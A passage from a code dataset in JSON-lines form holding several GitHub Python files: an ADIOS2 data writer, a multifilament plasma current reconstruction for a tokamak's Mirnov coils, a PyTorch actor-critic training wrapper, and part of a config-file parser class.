\"\n f\", \".join(\"{}: {}\".format(k, v) for k, v in valid_loss.items())\n )\n","repo_name":"sychang42/EquivQCNN","sub_path":"src/models/model_utils.py","file_name":"model_utils.py","file_ext":"py","file_size_in_byte":4405,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"34763006550","text":"import numpy as np\nimport adios2\nimport sys\n\nif len(sys.argv) < 3:\n print(\"Usage: %s array_size steps\" %(sys.argv[0]))\n exit(1)\n\nnx = int(sys.argv[1])\nshape = [nx,2]\nstart = [0,0]\ncount = [nx,2]\nNSteps = int(sys.argv[2])\n\n# with-as will call adios2.close on fh at the end\nwith adios2.open(\"cfd.bp\", \"a\") as fh:\n # NSteps from application\n for i in range(0, NSteps):\n fh.write(\"physical_time\", np.array([100*i]) )\n pressure = np.random.rand(nx,2)\n fh.write(\"pressure\", pressure, shape, start, count, end_step=True)\n","repo_name":"anagainaru/ADIOS2-addons","sub_path":"DataStreaming/python_code/writer.py","file_name":"writer.py","file_ext":"py","file_size_in_byte":539,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"14730859062","text":"\"\"\"\r\nCreated on Mon Feb 18 12:58:27 2019\r\n\r\n@author: Il_Ciancio\r\n\"\"\"\r\n\r\n###########################\r\ndef BmagnMultiModule(Z_filament,R_filament,I_filaments,R_filaments,z_filaments,r_mirnv,z_mirnv):\r\n\timport numpy as np\r\n\tvectorR = np.zeros((12,7), np.float32)\r\n\tvectorZ = np.zeros((12,7), np.float32)\r\n\tunit_vecR = np.zeros((12,7), np.float32)\r\n\tunit_vecZ = np.zeros((12,7), np.float32)\r\n\tnorm_vecR = np.zeros((12,7), np.float32)\r\n\tnorm_vecZ = np.zeros((12,7), np.float32)\r\n\t\r\n\tfor i in range(12):\r\n\t\t\tfor j in range(0,7):\r\n\t\t\t\tvectorZ[i][j] = z_filaments[j]-z_mirnv[i]\r\n\t\t\t\tvectorR[i][j] = R_filaments[j]-r_mirnv[i]\r\n\r\n\tfor i in range(12):\r\n\t\t\tfor j in range(0,7):\r\n\t\t\t\tunit_vecZ[i][j] = np.divide(vectorZ[i][j], np.linalg.norm([vectorZ[i][j],vectorR[i][j]]) )\r\n\t\t\t\tunit_vecR[i][j] = np.divide(vectorR[i][j], np.linalg.norm([vectorZ[i][j],vectorR[i][j]]) )\t\r\n\tfor i in range(12):\r\n\t\t\tfor j in range(0,7):\r\n\t\t\t\tnorm_vecR[i][j] = -unit_vecZ[i][j]\r\n\t\t\t\tnorm_vecZ[i][j] = unit_vecR[i][j]\r\n\r\n\t\r\n\t#I_filaments = [I_filament, I_filament2, I_filament3, I_filament4, I_filament5, I_filament6, I_filament7]\r\n\tBz = np.zeros((12,7), np.float32)\r\n\tBR = np.zeros((12,7), np.float32)\r\n\tfor i in range(12):\r\n\t\tBz[i][0], BR[i][0] = BmagnmirnvMulti(z_filaments[0],R_filaments[0],I_filaments[0],r_mirnv[i],z_mirnv[i]) #return [ Bz, BR ]\r\n\t\tfor j in range(1,7):\r\n\t\t\tBz[i][j], BR[i][j] = BmagnmirnvMulti(z_filaments[j],R_filaments[j],I_filaments[j],r_mirnv[i],z_mirnv[i])\r\n\r\n\t#Calculate the projection \r\n\tBmirn = np.zeros((12), np.float32)\r\n\tfor i in range(12):\r\n\t\tfor j in range(7):\r\n\t\t\tBmirn[i] = Bmirn[i] + np.dot(Bz[i][j],norm_vecZ[i][j]) + np.dot(BR[i][j],norm_vecR[i][j])\t\r\n\t\r\n\tBmirn = 0.01 * Bmirn\r\n\treturn Bmirn\r\n\r\n\r\n\r\n\r\n\r\n######################\r\n\r\ndef BmagnmirnvMulti( Z_filament,R_filament,I_filaments,r_mirnv,z_mirnv):\r\n\timport numpy as np\r\n\tfrom numpy import pi\r\n\tZc = Z_filament\r\n\tI = I_filaments\r\n\tturns = 1\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t # I just have one filament of one turn\r\n\tN = 100 \t\t\t\t\t\t\t\t \t\t\t\t\t\t\t # No of grids in the coil ( X-Y plane)\r\n\tu0 = 4*pi*0.001 \t\t\t\t\t\t\t\t\t\t\t\t\t # [microWb/(A cm)]\r\n\tphi = np.linspace(0, 2*pi, N) \t\t\t\t\t\t\t\t\t \t # For describing a circle (coil)\r\n\tRc = R_filament * np.cos(phi) \t\t\t\t\t\t\t\t\t\t #R-coordinates of the filament\r\n\tYc = R_filament * np.sin(phi) \t\t\t\t\t\t\t\t\t\t #Y-coordinates of the filament\r\n\t\r\n\t#PYTHON RETURN ERROR IF I DON'T PREALLOCATE A VECTOR\r\n\t#Lets obtain the position vectors from dl to the mirnov \r\n\t#mirnov is localized in the plane (y=0)\r\n\r\n\tRR = np.zeros(N)\r\n\tRz = np.zeros(N)\r\n\tRy = np.zeros(N)\r\n\tdlR = np.zeros(N)\r\n\tdly = np.zeros(N)\r\n\tfor i in range(N-1):\r\n\t\tRR[i] = r_mirnv - 0.5* (Rc[i]+Rc[i+1]) \r\n\t\tRz[i] = z_mirnv - Zc\r\n\t\tRy[i] = -0.5 * (Yc[i]+Yc[i+1])\r\n\t\tdlR[i]= Rc[i+1]-Rc[i]\r\n\t\tdly[i]=Yc[i+1]-Yc[i]\r\n\t\t\r\n\tRR[-1] = r_mirnv - 0.5*(Rc[-1]+Rc[0])\r\n\tRz[-1] = z_mirnv - Zc\r\n\tRy[-1] = -0.5 * (Rc[-1] + Rc[0])\r\n\tdlR[-1] = -Rc[-1] + Rc[0]\r\n\tdly[-1] = -Yc[-1]+Yc[0]\r\n\t\r\n\t#dl x r\r\n\tRcross = np.multiply(-dly,Rz) #or -dly * Rz\r\n\tYcross = np.multiply(dlR,Rz)\r\n\tZcross = np.multiply(dly,RR) - np.multiply(dlR,Ry)\r\n\tR = np.sqrt(np.square(RR) + np.square(Rz) + np.square(Ry)) #OR \t#R = sqrt(RR**2 + Rz**2 + Ry**2) #R = np.sqrt(RR**2 + Rz**2 + Ry**2)\r\n\t\r\n\t#dB=m0/4pi (Idl x r)/r^2 \r\n\tBR1 = np.multiply(np.divide(I*u0, 4*pi*R**3), Rcross)\r\n\tBz1 = np.multiply(np.divide(I*u0, 4*pi*R**3), Zcross)\r\n\tBy1 = np.multiply(np.divide(I*u0, 4*pi*R**3), Ycross)\r\n\t\r\n\t#Initialize sum magnetic field to be zero first\r\n\tBR = 0\r\n\tBz = 0\r\n\tBy = 0\r\n\tBR = np.sum(BR1)\r\n\tBz = np.sum(Bz1)\r\n\tBy = np.sum(By1)\r\n\t\r\n\tBR = BR * turns\r\n\tBy = By * turns\r\n\tBz = Bz * turns #units=[uWb / cm^2]\t\r\n\t\r\n\treturn [Bz, BR]\r\n\r\n######################\r\ndef ErrorMirnFuncMultiFilam(parameters, Mirnv_B_exp, R_filaments, z_filaments, r_mirnv, z_mirnv):\r\n\timport numpy as np\r\n\tI_filament, I_filament2, I_filament3, I_filament4, I_filament5, I_filament6, I_filament7 = parameters\r\n\tvectorR = np.zeros((12,7), np.float32)\r\n\tvectorZ = np.zeros((12,7), np.float32)\r\n\tunit_vecR = np.zeros((12,7), np.float32)\r\n\tunit_vecZ = np.zeros((12,7), np.float32)\r\n\tnorm_vecR = np.zeros((12,7), np.float32)\r\n\tnorm_vecZ = np.zeros((12,7), np.float32)\r\n\t\r\n\tfor i in range(12):\r\n\t\t\tfor j in range(0,7):\r\n\t\t\t\tvectorZ[i][j] = z_filaments[j]-z_mirnv[i]\r\n\t\t\t\tvectorR[i][j] = R_filaments[j]-r_mirnv[i]\r\n\t\r\n\tfor i in range(12):\r\n\t\t\tfor j in range(0,7):\r\n\t\t\t\tunit_vecZ[i][j] = np.divide(vectorZ[i][j], np.linalg.norm([vectorZ[i][j],vectorR[i][j]]) )\r\n\t\t\t\tunit_vecR[i][j] = np.divide(vectorR[i][j], np.linalg.norm([vectorZ[i][j],vectorR[i][j]]) )\t\r\n\t\r\n\tfor i in range(12):\r\n\t\t\tfor j in range(0,7):\r\n\t\t\t\tnorm_vecR[i][j] = -unit_vecZ[i][j]\r\n\t\t\t\tnorm_vecZ[i][j] = unit_vecR[i][j]\r\n\t\t\t\t\t\r\n\t\r\n\tI_filaments = [I_filament, I_filament2, I_filament3, I_filament4, I_filament5, I_filament6, I_filament7]\r\n\t\r\n\tBz = np.zeros((12,7), np.float32)\r\n\tBR = np.zeros((12,7), np.float32)\r\n\tfor i in range(12):\r\n\t\tBz[i][0], BR[i][0] = BmagnmirnvMulti(z_filaments[0],R_filaments[0],I_filaments[0],r_mirnv[i],z_mirnv[i]) #return [ Bz, BR ]\r\n\t\tfor j in range(1,7):\r\n\t\t\tBz[i][j], BR[i][j] = BmagnmirnvMulti(z_filaments[j],R_filaments[j],I_filaments[j],r_mirnv[i],z_mirnv[i])\t\r\n\r\n\tBmirn = np.zeros((12), np.float32)\r\n\tfor i in range(12):\r\n\t\tfor j in range(7):\r\n\t\t\tBmirn[i] = Bmirn[i] + np.dot(Bz[i][j],norm_vecZ[i][j]) + np.dot(BR[i][j],norm_vecR[i][j])\r\n\t\r\n\tBmirn = 0.01 * Bmirn\r\n\terror = np.sum( np.abs(Mirnv_B_exp - Bmirn ) )\r\n\treturn error\r\n\t\r\n\t\r\n\t\r\n#####################\r\n\r\n######################################################################\r\n######################################################################\r\n########## Plasma current centroid position reconstruction ##########\r\n########## Multifilaments,7 filaments, 7 freedom degrees ##########\r\n######################################################################\r\n######################################################################\r\n\r\ndef centroidPosition_7_filaments_7degree(times, Mirnv_flux, Mirnv_flux_corr, SHOT_NUMBER, OPTIMIZATION):\r\n\timport numpy as np\r\n\timport string\r\n\tfrom numpy import pi\r\n\tfrom scipy.optimize import fmin_cobyla\r\n\timport matplotlib.pyplot as plot\r\n\tfrom timeit import default_timer as timer\r\n\t\r\n\ttime = 1e-03 * times #TIME IN ms\r\n\t\r\n\t#DRAW THE VESSEL\r\n\tN = 100\r\n\tth_vessel = np.linspace(0, 2*pi, N)\r\n\tx_vessel = 9 * np.cos(th_vessel) + 46 \r\n\ty_vessel = 9 * np.sin(th_vessel)\r\n\t\r\n\t#MIRNOV POSITION IN DEGREE\r\n\tR_mirnov = np.array([], np.float32)\r\n\tz_mirnov = np.array([], np.float32)\r\n\tang_mirnov = -15\r\n\t\r\n\tfor i in range(12):\r\n\t\tR_mirnov = np.append( R_mirnov, 9.35 * np.cos( np.deg2rad(ang_mirnov) ) + 46 ) \r\n\t\tz_mirnov = np.append( z_mirnov, 9.35 * np.sin( np.deg2rad(ang_mirnov) ) )\r\n\t\tang_mirnov = ang_mirnov - 30\r\n\r\n\t# Lets draw the plasma filaments\t\r\n\tth_filament = np.linspace(0, 2*pi, N)\r\n\tR_pls = 46\r\n\tz_plsm = 0\r\n\tR_filaments = np.array([], np.float32)\r\n\tz_filaments = np.array([], np.float32)\r\n\tR_filaments = np.append( R_filaments, 46)\r\n\tz_filaments = np.append( z_filaments, 0)\r\n\tdegr_filament = 0\r\n\tradius = 5 # in [cm] (distance from the center of the chamber to the filaments)\r\n\tfor i in range(1,7) :\r\n\t\tR_filaments = np.append( R_filaments,(46) + radius * np.cos( np.deg2rad(degr_filament) ))\r\n\t\tz_filaments = np.append( z_filaments, radius * np.sin( np.deg2rad(degr_filament) ) )\r\n\t\tdegr_filament = degr_filament + 60;\r\n\t\r\n\t#EXPERIMENTAL MESUREMENTS [WB], I PRE MULTIPLIED Mirnv_10_fact=1.2823\r\n\ttime_index = np.where(time == 175) \r\n\tprint(time_index)\r\n\t#Find the exprimental values for that time moment\r\n\t\r\n\tMirnov_flux = [i[time_index] for i in Mirnv_flux] #without external flux correction\r\n\tMirnov_flux_corr = [i[time_index] for i in Mirnv_flux_corr] #with external flux correction\r\n\t\r\n\t#Let's go from [Wb] to [T]\r\n\tMirnv_B_exp = np.divide(Mirnov_flux,(50*49e-6)) # [T]\r\n\tMirnv_B_exp_corr = np.divide(Mirnov_flux_corr,(50*49e-6)) # [T]\r\n\t\r\n\t##### Optimization function, 7 filaments, 9 degrees of freedom\r\n\t##### Central filament - 3 dregrees of freedom (z,R,I)\r\n\t##### 6 sorrounding filaments - 1 degree of freedom (I)\r\n\t##########################################\r\n\t# ErrorMirnFuncMultiFilam(parameters, Mirnv_B_exp, R_filaments, z_filaments, R_mirn, z_mirn):\r\n\t# Z_filament, R_filament, I_filament, I_filament2, I_filament3, I_filament4, I_filament5,I_filament6, I_filament7= parameters\r\n\t##########################################\r\n\tdef constr1(x, Mirnv_B_exp, R_filaments, z_filaments, R_mirnov, z_mirnov):#low_bnd=[0,0,0,0,0,0,0,0,0]\r\n\t\treturn x[0], x[1], x[2], x[3], x[4], x[5], x[6]\r\n\t\t#return x\r\n\tdef constr2(x, Mirnv_B_exp, R_filaments, z_filaments, R_mirnov, z_mirnov):#high_bnd=[1,55,4000,4000,4000,4000,4000,4000,4000]\r\n\t\treturn 4000-x[0], 4000-x[1], 4000-x[2], 4000-x[3], 4000-x[4], 4000-x[5], 4000-x[6]\r\n\tdef constr3(x, Mirnv_B_exp_corr, R_filaments, z_filaments, R_mirnov, z_mirnov):#high_bnd=[1,55,4000,4000,4000,4000,4000,4000,4000]\r\n\t\treturn 4000-x[0], 4000-x[1], 4000-x[2], 4000-x[3], 4000-x[4], 4000-x[5], 4000-x[6]\r\n\tdef constr4(x, Mirnv_B_exp_corr, R_filaments, z_filaments, R_mirnov, z_mirnov):#low_bnd=[0,0,0,0,0,0,0,0,0]\r\n\t\treturn x[0], x[1], x[2], x[3], x[4], x[5], x[6]\r\n\tdef constr5(x, Mirnv_B_exp_corr, R_filaments, z_filaments, R_mirnov, z_mirnov):\r\n\t\treturn 4000 - x[0]+x[1]+x[2]+x[3]+x[4]+x[5]+x[6]\r\n\tdef constr6(x, Mirnv_B_exp_corr, R_filaments, z_filaments, R_mirnov, z_mirnov):\r\n\t\treturn x[0] + x[1] + x[2] + x[3] + x[4] + x[5] + x[6] - 2000\r\n\tf_opt = np.array([], np.float32)\r\n\tf_opt_corr = np.array([], np.float32)\r\n\tmybounds = [(0,4000),(0,4000),(0,4000),(0,4000),(0,4000),(0,4000),(0,4000)]\r\n\tif OPTIMIZATION:\r\n\t\tprint(\"Start optimization for the shot number: \"+str(SHOT_NUMBER)+\"!\")\r\n\t\t\r\n\r\n\t\t\r\n\t\tstart = timer()\r\n\t\tf_opt = fmin_cobyla( ErrorMirnFuncMultiFilam,[1000, 500, 500, 500, 500, 500, 500], [constr1] + [constr2], args=(Mirnv_B_exp, R_filaments, z_filaments, R_mirnov, z_mirnov), consargs=None, rhobeg=0.1, rhoend=1e-10, maxfun=20000, catol=1e-10)\r\n\r\n\t\tend = timer()\r\n\t\tprint (\"Time for optimization: \"+str(end-start))\r\n\t\tstart = timer()\r\n\t\tf_opt_corr = fmin_cobyla( ErrorMirnFuncMultiFilam,[1000, 500, 500, 500, 500, 500, 500], [constr4] + [constr3], args=(Mirnv_B_exp_corr, R_filaments, z_filaments, R_mirnov, z_mirnov), consargs=None, rhobeg=0.1, rhoend=1e-10, maxfun=20000, catol=1e-10 )\r\n\t\tend = timer()\r\n\t\tprint (\"Time for corrected optimization: \"+str(end-start))\r\n\r\n\t\t\r\n\t\tnp.save('f_opt_7Filaments_7degree_'+str(SHOT_NUMBER)+'.npy',f_opt)\r\n\t\tnp.save('f_opt_corr_7Filaments_7degree_'+str(SHOT_NUMBER)+'.npy',f_opt_corr)\r\n\telse:\r\n\t\tprint(\"Loading data from shot number: \"+str(SHOT_NUMBER)+\"!\")\r\n\t\tf_opt = np.load('f_opt_7Filaments_7degree_'+str(SHOT_NUMBER)+'.npy')\r\n\t\tf_opt_corr = np.load('f_opt_corr_7Filaments_7degree_'+str(SHOT_NUMBER)+'.npy')\r\n\t\r\n\t#Lets check how close is our minimization values to the experimental ones by applaying Biot-Savart with them \r\n\tMirnov_flux_experimental_multi = np.array([], np.float32)\r\n\tMirnov_flux_corr_experimental_multi = np.array([], np.float32)\r\n\t\r\n\r\n\tMirnov_flux_experimental_multi = np.append( Mirnov_flux_experimental_multi, BmagnMultiModule(R_filaments[0], z_filaments[0], f_opt[0:7], R_filaments, z_filaments, R_mirnov, z_mirnov ) )\r\n\tMirnov_flux_corr_experimental_multi = np.append( Mirnov_flux_corr_experimental_multi, BmagnMultiModule(R_filaments[0], z_filaments[0], f_opt_corr[0:7], R_filaments, z_filaments, R_mirnov, z_mirnov) )\r\n\r\n\t#compute de error\r\n\tRMSE = np.sqrt( np.mean( np.square( np.subtract(Mirnov_flux_experimental_multi, Mirnv_B_exp ) ) ) )\r\n\tRMSE_corr = np.sqrt( np.mean( np.square( np.subtract(Mirnov_flux_corr_experimental_multi, Mirnv_B_exp_corr ) ) ) )\r\n\t\r\n\t# Matrix whose elements gives the contribution to the measuremnt i to a unitary current in the filament j [T]\r\n\tMfp = np.zeros((12,7), np.float32)\r\n\tfrom function import Bmagnmirnv #def Bmagnmirnv( Z_filament,R_filament,I_filament,r_mirnv,z_mirnv):\r\n\tfor i in range(12):\r\n\t\tfor j in range(7):\r\n\t\t\tMfp[i][j] = Bmagnmirnv(z_filaments[j], R_filaments[j], 1, R_mirnov[i], z_mirnov[i])\r\n\tstart = timer()\t\t\r\n\tMpf = np.linalg.pinv(Mfp, rcond=1e-20)\r\n\tend = timer()\r\n\tprint (\"Time for pinv: \"+str(end-start))\r\n\tI_Mpf_corr = Mpf.dot(Mirnv_B_exp_corr)\r\n\t\r\n\t#I_Mpf_corr = [-8433.61525597059, 656.265783834629, 1318.3380915753, 1278.5770300308, 1734.90770498183, 1501.37653118269, 1390.34150772538]\r\n\r\n\tMirnov_flux_corr_theo_multi = np.array([], np.float32)\r\n\tMirnov_flux_corr_theo_multi = np.append( Mirnov_flux_corr_theo_multi, BmagnMultiModule(R_filaments[0], z_filaments[0], I_Mpf_corr, R_filaments, z_filaments, R_mirnov, z_mirnov) )\r\n\tRMSE_theo_corr = np.sqrt( np.mean( np.square( np.subtract(Mirnov_flux_corr_theo_multi, Mirnv_B_exp_corr ) ) ) )\r\n\t#PLOTTIAMO\r\n\t\r\n\tplot.figure(20)\r\n\tp1, = plot.plot(range(1, 13, 1), 1000*Mirnv_B_exp, '-o',label=\"Experimental Data\")\r\n\tp2, = plot.plot(range(1, 13, 1), 1000*Mirnov_flux_experimental_multi, '-*',label=\"Biot-savart(optimized )\")\r\n\tplot.grid()\r\n\tplot.title(\"SHOT#\"+str(SHOT_NUMBER)+\" t=195[ms] Ip~4.1[kA] (Multifilament)\")\r\n\tplot.legend([p1, p2])\r\n\tplot.xlabel(\"Mirnov #\")\r\n\tplot.ylabel(\"Optimization [mT]\")\r\n\tplot.axis('equal')\r\n\t\r\n\tprint(\"error with correct\" + str(ErrorMirnFuncMultiFilam(f_opt_corr[0:7], Mirnv_B_exp, R_filaments, z_filaments, R_mirnov, z_mirnov)))\r\n\tprint(\"error without correct\" + str(ErrorMirnFuncMultiFilam(f_opt[0:7], Mirnv_B_exp, R_filaments, z_filaments, R_mirnov, z_mirnov)))\r\n\tprint(\"error pseudi\" + str(ErrorMirnFuncMultiFilam(I_Mpf_corr, Mirnv_B_exp, R_filaments, z_filaments, R_mirnov, z_mirnov)))\t\r\n\t\r\n\tplot.figure(30)\r\n\tp1, = plot.plot(range(1, 13, 1), 1000*Mirnv_B_exp_corr, '-o',label=\"Experimental Data corrected (Multifilament)\")\r\n\tp2, = plot.plot(range(1, 13, 1), 1000*Mirnov_flux_corr_experimental_multi, '-*',label=\"Biot-savart(optimized )\")\r\n\tp3, = plot.plot(range(1, 13, 1), 1000*Mirnov_flux_corr_theo_multi, '-s',label=\"theo multifilament mpf\")\r\n\tplot.grid()\r\n\tplot.title(\"SHOT#\"+str(SHOT_NUMBER)+\" t=195[ms] Ip~4.1[kA] (External flux corrected)\")\r\n\tplot.legend([p1, p2, p3])\r\n\tplot.xlabel(\"Mirnov #\")\r\n\tplot.ylabel(\"Optimization [mT]\")\r\n\tplot.axis('equal')\r\n\t\r\n\t#Plasma, vessel and mirnov coil plot\r\n\tplot.figure(40)\r\n\tplot.plot(x_vessel,y_vessel,color='k', linewidth=2.0)\r\n\tplot.plot(46,0,'.m',MarkerSize = 480)\r\n\tplot.plot(R_filaments[0],z_filaments[0],'.k',MarkerSize = 10)\r\n\tplot.plot(R_filaments[0],z_filaments[0],'.b',MarkerSize = 20)\r\n\tfor i in range(1,7):\r\n\t\tplot.plot(R_filaments[i],z_filaments[i],'.b',MarkerSize = 20)\r\n\tfor i in range(12):\r\n\t\tplot.text(R_mirnov[i], z_mirnov[i], str(i+1), horizontalalignment='center', verticalalignment='center',bbox=dict(facecolor='red', alpha=0.5))\r\n\t\r\n\tplot.text(57,0,'LFS',FontSize = 15)\r\n\tplot.text(33,0,'HFS',FontSize = 15)\r\n\tplot.xlabel('R[cm]')\r\n\tplot.ylabel('Z[cm]')\r\n\tplot.grid()\r\n\tplot.axis('equal')\r\n\t\r\n\treturn [Mirnov_flux, Mirnov_flux_corr, f_opt, f_opt_corr, Mirnov_flux_experimental_multi, Mirnov_flux_corr_experimental_multi, RMSE, RMSE_corr, RMSE_theo_corr, Mpf, Mirnv_B_exp_corr, I_Mpf_corr, Mfp]","repo_name":"IlCiancio/ISTTOK-MULTIFILAMENT-PYTHON","sub_path":"CentroidPosition_7Filament_7degree_correct.py","file_name":"CentroidPosition_7Filament_7degree_correct.py","file_ext":"py","file_size_in_byte":14888,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"21707710316","text":"import argparse\nimport os\nimport shutil\nimport time\nimport random\nimport numpy as np\nimport math\nimport sys\n\nimport argparse\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nimport threading\nfrom torch.distributions import Distribution\nfrom typing import List\n\nfrom .net import CNNPro\n# from .kfac import KFACOptimizer\n\nsys.path.append(\"../\")\nimport config\n\nclass NNetWrapper():\n def __init__(self, net):\n super(NNetWrapper, self).__init__()\n self.net = net\n\n self.FixedCategorical = torch.distributions.Categorical\n old_sample = self.FixedCategorical.sample\n self.FixedCategorical.sample = lambda self: old_sample(self).unsqueeze(-1)\n\n log_prob_cat = self.FixedCategorical.log_prob\n self.FixedCategorical.log_probs = lambda self, actions: log_prob_cat(\n self, actions.squeeze(-1)).view(actions.size(0), -1).sum(-1).unsqueeze(-1)\n\n self.FixedCategorical.mode = lambda self: self.probs.argmax(dim=-1, keepdim=True)\n\n # self.optimizer = KFACOptimizer(self.net)\n self.optimizer = optim.RMSprop(self.net.parameters())\n\n self.logsoftmax = torch.nn.LogSoftmax(dim=-1)\n self.value_loss_fn = torch.nn.MSELoss()\n\n def predict(self, obs, mask, use_cuda=True):\n if use_cuda:\n device = torch.device(\"cuda:0\")\n else:\n device = torch.device(\"cpu\")\n\n self.net.eval()\n self.net.to(device)\n\n obs = np.expand_dims(obs, axis=0)\n mask = mask.reshape(1, len(mask))\n\n obs = torch.FloatTensor(obs).to(device)\n mask = torch.FloatTensor(mask).to(device)\n inverse_mask = (torch.ones_like(mask) - mask).to(device)\n\n action_logits, critic_values = self.net(obs)\n action_logits = action_logits - inverse_mask * 1e10\n\n action_probs = F.softmax(action_logits, dim=-1)\n action_probs = action_probs*mask\n action_dist = self.FixedCategorical(probs=action_probs)\n\n action_logits = action_logits[0]\n action_probs = action_probs[0]\n critic_values = critic_values[0]\n\n return action_logits, action_probs, action_dist, critic_values\n\n def train(self, trainExamples, use_cuda=True):\n acktr = False\n\n if use_cuda:\n device = torch.device(\"cuda:0\")\n else:\n device = torch.device(\"cpu\")\n\n self.net.to(device)\n\n for epoch in range(config.epochs):\n print('EPOCH ::: ' + str(epoch+1))\n self.net.train()\n\n batch_idx = 0\n\n while batch_idx < int(len(trainExamples)/config.batch_size):\n # sample_ids = np.random.randint(len(trainExamples), size=config.batch_size)\n sample_ids = list(range(len(trainExamples)))[batch_idx*config.batch_size:(batch_idx+1)*config.batch_size]\n\n # episode\n sample_obs, sample_masks, sample_actions, sample_action_policy, sample_critic_values = list(zip(*[trainExamples[i] for i in sample_ids]))\n sample_obs = torch.FloatTensor(np.array(sample_obs)).to(device)\n sample_masks = torch.FloatTensor(np.array(sample_masks)).to(device)\n inverse_masks = (torch.ones_like(sample_masks) - sample_masks).to(device)\n sample_actions = torch.FloatTensor(np.array(sample_actions)).to(device)\n sample_action_policy = torch.FloatTensor(np.array(sample_action_policy)).to(device) \n sample_critic_values = torch.FloatTensor(np.array(sample_critic_values)).to(device)\n\n # network output\n action_logits, critic_values = self.net(sample_obs)\n action_logits = action_logits - inverse_masks * 1e10\n action_logsoftmax = self.logsoftmax(action_logits)\n\n action_probs = F.softmax(action_logits, dim=-1)\n action_probs = action_probs*sample_masks\n action_dist = self.FixedCategorical(probs=action_probs) \n\n action_log_probs = action_dist.log_probs(sample_actions)\n\n if acktr and (self.optimizer.steps % self.optimizer.Ts == 0):\n # Sampled fisher, see Martens 2014\n self.net.zero_grad()\n pg_fisher_loss = -action_log_probs.mean()\n\n value_noise = torch.randn(critic_values.size())\n if critic_values.is_cuda:\n value_noise = value_noise.cuda()\n\n sample_values = critic_values + value_noise\n vf_fisher_loss = -(critic_values - sample_values.detach()).pow(2).mean() # detach\n\n fisher_loss = pg_fisher_loss + vf_fisher_loss\n self.optimizer.acc_stats = True\n fisher_loss.backward(retain_graph=True)\n self.optimizer.acc_stats = False\n\n action_loss = torch.mean(torch.sum(-sample_action_policy*action_logsoftmax, dim=-1))\n value_loss = self.value_loss_fn(sample_critic_values, critic_values)\n \n total_loss = action_loss + value_loss\n\n # compute gradient and do SGD step\n self.optimizer.zero_grad()\n total_loss.backward()\n self.optimizer.step()\n\n batch_idx += 1\n\n self.save_checkpoint(folder=\"../\" + config.epoch_dir, filename=config.save_model_name)\n \n\n def loss_pi(self, targets, outputs):\n return -torch.sum(targets*outputs)/targets.size()[0]\n\n def loss_v(self, targets, outputs):\n return torch.sum((targets-outputs.view(-1))**2)/targets.size()[0]\n\n def save_checkpoint(self, folder='checkpoint', filename='checkpoint.pth.tar'):\n filepath = os.path.join(folder, filename)\n if not os.path.exists(folder):\n print(\"Checkpoint Directory does not exist! Making directory {}\".format(folder))\n os.mkdir(folder)\n torch.save({'state_dict' : self.net.state_dict(),}, filepath)\n\n def load_checkpoint(self, folder='checkpoint', filename='checkpoint.pth.tar'):\n filepath = os.path.join(folder, filename)\n if not os.path.exists(filepath):\n raise(\"No model in path {}\".format(filepath))\n checkpoint = torch.load(filepath, map_location=torch.device(\"cpu\"))\n self.net.load_state_dict(checkpoint['state_dict'])\n\n","repo_name":"sply85/4d-whse-cubing","sub_path":"model_arch/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":6427,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"18138879113","text":"import env\nfrom abc import abstractmethod, ABCMeta\nfrom typing import Sequence, Any\nfrom library import error\nfrom os import path\nfrom before import newBeforeHelper\n\n# Conf 配置解析定义接口\nclass Conf(metaclass=ABCMeta):\n\t# 读取并解析配置文件\n\t# confName 支持相对路径和绝对路径\n\t@abstractmethod\n\tdef Parse(confName: str) -> Sequence[Any, error]:\n\t\t...\n\t# 解析bytes内容\n\t@abstractmethod\n\tdef ParseBytes(fileExtL: str, content: bytes) -> Sequence[Any, error]:\n\t\t...\n\t# 配置文件是否存在\n\t@abstractmethod\n\tdef Exists(confName: str) -> bool:\n\t\t...\n\t# 注册一个指定后缀的配置的parser\n\t# 如要添加 .ini 文件的支持,可在此注册对应的解析函数即可\n\t# def RegisterParserFunc(fileExt: str, fn: ParserFunc) -> error:\n\tdef RegisterParserFunc(fileExt: str, fn: Any) -> error:\n\t\t...\n\t# 注册一个在解析前执行辅助回调方法\n\t# 先注册的先执行,不能重复\n\t# def RegisterBeforeFunc(name: str, fn: BeforeFunc) -> error:\n\tdef RegisterBeforeFunc(name: str, fn: Any) -> error:\n\t\t...\n\t# 配置的环境信息\n\t@abstractmethod\n\tdef Env() -> env.AppEnv:\n\t\t...\n\nrelPathPre = \".\" + str(path.sep)\n\n# conf实现Conf接口\nclass conf(Conf):\n\tenv_: env.AppEnv\n\tparsers: dict # str:ParserFunc\n\thelpers: list # beforeHelper\n\n\tdef __init__(self, env_: env.AppEnv, parsers: dict={}, helpers: list=[]):\n\t\tself.env_ = env_\n\t\tself.parsers = parsers\n\t\tself.helpers = helpers\n\n\t# 传入文件名和接收obj实现解析配置文件,配置文件默认认为在 conf/ 目录下\n\tdef Parse(self, confName: str) -> Sequence[str, error]:\n\t\tconfAbsPath = self.confFileRealPath(confName)\n\t\treturn self.parseByAbsPath(confAbsPath)\n\n\t# 将文件名组装为文件实际所在目录\n\tdef confFileRealPath(self, confName: str) -> str:\n\t\t# 若文件名已经是绝对路径或以./开头,视为找到了绝对路径\n\t\tif path.isabs(confName) or confName.startswith(relPathPre):\n\t\t\treturn confName\n\t\t# 将文件名加上环境变量里面的confdir的前缀\n\t\treturn path.join(self.Env().ConfDir(), confName)\n\n\t# 通过绝对路径找到文件,确保文件名不空并解析\n\tdef parseByAbsPath(self, confAbsPath: str) -> Sequence[str, error]:\n\t\tif len(self.parsers) == 0:\n\t\t\treturn None, \"no parser found\"\n\t\treturn self.readConfDirect(confAbsPath)\n\n\t# 开始读取配置文件并解析\n\tdef readConfDirect(self, confPath: str) -> Sequence[str, error]:\n\t\ttry:\n\t\t\tcontent = open(confPath, \"r\").read()\n\t\texcept FileNotFoundError:\n\t\t\treturn None, \"conf file not found\"\n\t\t# 读取文件扩展名,现在支持.toml .json\n\t\tfileExt = path.splitext(confPath)[-1]\n\t\treturn self.ParseBytes(fileExt, content)\n\n\t# 